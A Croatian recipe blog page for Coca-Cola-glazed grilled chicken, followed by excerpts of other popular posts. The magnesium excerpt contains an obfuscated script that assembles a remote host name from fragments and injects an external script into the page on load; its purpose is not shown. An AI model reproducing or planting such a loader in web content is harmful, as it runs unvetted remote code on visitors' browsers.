PILETINA S ROŠTILJA S GLAZUROM OD COCA COLE 🐔




Piletina s roštilja s glazurom od coca cole



Sljedeći put kada se spremate roštiljati, dajte šansu piletini s Coca-Colom. Iako zvuči neobično, ona u kombinaciji sa sojinim umakom, Worcestershire umakom i limetom stvara bogatu glazuru koja tijekom pečenja postaje gusta, sjajna i prepuna okusa.




Piletina s roštilja s glazurom od coca cole 


Sastojci:

Za začinsku mješavinu

  • 2 čajne žličice soli
  • 2 čajne žličice mljevene slatke paprike
  • 1 čajna žličica kajenskog papra
  • svježe mljeveni crni papar
  • 900 g pilećih zabataka bez kostiju i kože

Za glazuru od Coca-Cole

  • 1,4 l Coca-Cole
  • 80 ml soja umaka sa smanjenim udjelom soli
  • 2 žlice Worcestershire umaka
  • 1 žlica kečapa
  • 1 žlica svijetlog smeđeg šećera
  • 1 limeta (naribana korica i sok)
  • 1/2 čajne žličice soli
  • neutralno ulje za premazivanje rešetke roštilja
  • kriške limete za posluživanje



Priprema: 

  1. U velikoj zdjeli pomiješajte sol, mljevenu papriku, kajenski papar i nekoliko prstohvata svježe mljevenog crnog papra. Dobro utrljajte začinsku mješavinu u piletinu kako bi svaki komad bio ravnomjerno prekriven.
  2. Pokrijte zdjelu i stavite u hladnjak najmanje 30 minuta, a po želji i preko noći.
  3. U srednje velikom loncu zakuhajte Coca-Colu na srednje jakoj vatri. Kuhajte uz povremeno miješanje dok se ne reducira na otprilike 180 ml i postane sirupasta. Za to će biti potrebno oko 18 do 25 minuta.
  4. Umiješajte soja umak, Worcestershire umak, kečap, smeđi šećer, naribanu koricu i sok limete te sol. Dobro promiješajte i kratko kuhajte još minutu do dvije.
  5. Zagrijte roštilj na srednje jaku temperaturu i lagano nauljite rešetku.
  6. Piletinu položite na roštilj i gornju stranu odmah premažite glazurom. Pecite 4 minute, zatim okrenite, ponovno premažite glazurom i pecite još 4 minute.
  7. Još jednom okrenite piletinu, premažite preostalom glazurom i nastavite peći još otprilike 4 minute.
  8. Pečenu piletinu ostavite da odmori 5 minuta prije posluživanja. Poslužite uz kriške limete koje će dodatno naglasiti svježinu bogate glazure.




Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

LIKER OD MLADIH ZELENIH ORAHA

Slika
Liker od mladih zelenih oraha  Ovaj je napitak sjajan način da povratite energiju i osnažite organizam, a priprema se vrlo jednostavno. Tajna njegove moći krije se u nedozrelim plodovima koji su u ovoj fazi prepuni vitamina, gorkih tvari i korisnih nutrijenata. Liker od mladih zelenih oraha  Sastojci: 12 srednje velikih, mladih zelenih oraha 1 litra kvalitetne domaće rakije (najbolje lozovače ili komovice) 700 g šećera (ili domaći med za zdraviju varijantu) Po želji za bolju aromu: 2 kriške limuna, 2 kriške naranče, 8-10 zrna kave, par klinčića ili malo vanilin šećera Priprema: Mlade orahe prvo detaljno operite i osušite. Zatim ih obavezno narežite na četvrtine ili polovice. Mali, ali važan savjet: Ovu radnju obavezno radite u rukavicama jer orasi puštaju intenzivnu tamnu boju koju je kasnije iznimno teško oprati s ruku!recipeci U veliku, prethodno opranu staklenku sa širokim grlom poslažite narezane orahe i prelijte ih šećerom. Ako se odlučite za dodatke poput lim...
Pročitajte više